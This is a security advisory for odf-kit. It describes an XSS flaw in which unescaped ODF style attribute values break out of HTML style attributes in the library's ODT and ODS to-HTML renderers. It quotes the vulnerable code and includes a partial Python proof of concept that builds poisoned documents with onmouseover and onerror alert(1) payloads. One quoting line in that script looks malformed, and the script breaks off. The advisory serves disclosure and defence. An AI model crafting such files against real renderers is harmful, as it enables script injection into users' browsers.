CVE-2026-113787 — Vulnerability intelligence
— odf-kit
Published:
- CVSS
- 6.1
- CISA KEV
- Not listed; not proof of no exploitation
Original source text (not a translation)
odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values
### Summary
ODF style attribute values are interpolated into `style="..."` attributes without HTML-escaping in **both** of odf-kit's to-HTML renderers (`odtToHtml` and `odsToHtml`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.odt` or `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.
### Details
#### ODT renderer (`src/odt/to-html/html-renderer.ts`)
The renderer has an `escapeHtml()` helper and applies it consistently to text content and to attribute values — `href`, `src`, `alt`, `id`, `data-author`, `data-date`, citation text all go through it. The inline CSS strings do not.
In `renderTextSpan` (dist/odt/to-html/html-renderer.js:195):
```js
const css = spanStyleToCss(span.style);
if (css)
html = `<span style="${css}">${html}</span>`;
```
The value of e.g. `fo:color` is copied from the document into `style.fontColor` verbatim by the parser (`extractSpanStyle`, read/parser.js:348), then concatenated raw into the attribute. A `"` in the value terminates the attribute early.
The same unescaped `style="${...}"` pattern appears at roughly ten other emission sites: paragraph and heading (`paragraphStyleToCss`), table cells and rows (`cellStyleToCss`, `rowStyleToCss`), `<col>`, and the image style attribute. The affected source attributes include `fo:color`, `fo:background-color`, `fo:text-shadow`, `fo:letter-spacing`, `fo:font-family` (via both direct and font-face resolution), `fo:margin-*`, `fo:padding-*`, `fo:line-height`, `fo:border*`, and `style:vertical-align`.
#### ODS renderer (`src/ods/to-html/html-renderer.ts`) — same bug
`buildInlineStyle()` assembles the CSS string from cell formatting properties — `fo:color`, `fo:font-size`, `fo:font-family`, `fo:background-color`, `fo:text-align`, etc. — with zero `escapeHtml` calls, and `renderCell` emits it raw (line 65):
```ts
if (includeStyles && cell.formatting) {
const style = buildInlineStyle(cell.formatting);
if (style) attrs.push(`style="${style}"`);
}
```
Additionally, `row.height` (from `style:row-height`) goes raw into the row element (line 95):
```ts
const style = includeStyles && row.height ? ` style="height:${row.height}"` : "";
return `<tr class="${prefix}-row"${style}>${cells}</tr>`;
```
The same injection is reachable through the public `odf-kit/ods/to-html` export (`odsToHtml()`), so both to-HTML directions are affected.
#### Version scope
The `odt/to-html` and `ods/to-html` modules first shipped in **0.14.0**; the current latest release is **0.14.1**. The PoCs were re-ran against the unreleased `main` branch (commit `270a361`) — both injections still fire, so no fix has landed past the release.
### PoC
Each PoC is a minimal ODF package (`mimetype` + `META-INF/manifest.xml` + `content.xml`) whose `content.xml` contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as `build-pocs.py` and run `python3 build-pocs.py`:
```python
import zipfile
def build(path, mimetype, content):
# ODF requires 'mimetype' first and stored uncompressed
with zipfile.ZipFile(path, "w") as z:
z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED)
z.writestr("META-INF/manifest.xml",
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">\n'
' <manifest:file-entry manifest:full-path="/" manifest:media-type="' + mimetype + '"/>\n'
' <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>\n'
'</manifest:manifest>\n')
z.writestr("content.xml", content)
ODT = "application/vnd.oasis.opendocument.text"
ODS = "application/vnd.oasis.opendocument.spreadsheet"
HEAD = ('<?xml version="1.0" encoding="UTF-8"?>\n'
'<office:document-content\n'
' xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"\n'
' xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"\n'
' xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0"\n'
' xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0">')
Q = """
p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}" # attribute injection
p2 = f'red{Q}><img src=x onerror={Q}alert(1){Q}><x style={Q}' # full markup injection
# .odt: one paragraph with a poisoned automatic text style
def odt(p):
return (HEAD + '\n<office:automatic-styles>\n'
' <style:style style:family="paragraph" style:name="P1">\n'
f' <style:text-properties fo:color="{p}"/>\n'
' </style:style>\n</office:automatic-styles>\n'
'<office:body><office:text><text:p text:style-name="P1">hel